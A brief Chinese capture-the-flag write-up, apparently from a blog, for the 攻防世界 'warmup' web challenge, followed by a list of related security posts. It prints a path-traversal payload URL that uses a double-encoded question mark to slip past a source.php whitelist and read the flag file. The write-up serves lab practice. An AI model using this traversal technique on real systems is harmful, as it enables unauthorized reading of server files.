攻防世界-warmup

原题解题思路

只有一张图片,就查看源代码,有一个source.php。

查看source.php,白名单中还有一个hint.php。

hint.php告诉我们flag的位置ffffllllaaaagggg

但是直接跳转是没用的,构造payload。

复制代码
http://61.147.171.105:55725/source.php?file=source.php%253f/../../../../../../ffffllllaaaagggg
相关推荐
曼岛_1 小时前
【零基础实战】Ubuntu搭建DVWA漏洞靶场全流程详解(附渗透测试示例)
ubuntu·网络安全·黑客
Factor安全5 小时前
CVE-2025-24813 漏洞全解析|Apache Tomcat 关键路径绕过与RCE
安全·web安全·网络安全·tomcat·apache·安全威胁分析·安全性测试
QT.qtqtqtqtqt10 小时前
网络安全防护技术
安全·网络安全·防火墙·vpn·入侵检测·网闸
燕雀安知鸿鹄之志哉.10 小时前
ctfshow VIP题目限免(前10题)
web安全·网络安全
李詹13 小时前
海外高防服务器延迟优化——跨国业务安全加速的底层逻辑
网络·安全·网络安全·负载均衡·网络攻击模型·ddos
humors22115 小时前
提升Windows安全的一些措施
网络安全·系统安全
卓豪终端管理15 小时前
黑白名单管理:构建安全高效的访问控制体系
运维·网络·安全·web安全·网络安全
中云DDoS CC防护蔡蔡15 小时前
tcp/ip攻击及防范
运维·服务器·tcp/ip·网络安全·ddos
一口一个橘子18 小时前
[ctfshow web入门] web23
web安全·网络安全
梧六柒20 小时前
1.6-抓包技术(Burp Suite\Yakit抓包\Web、APP、小程序)
网络安全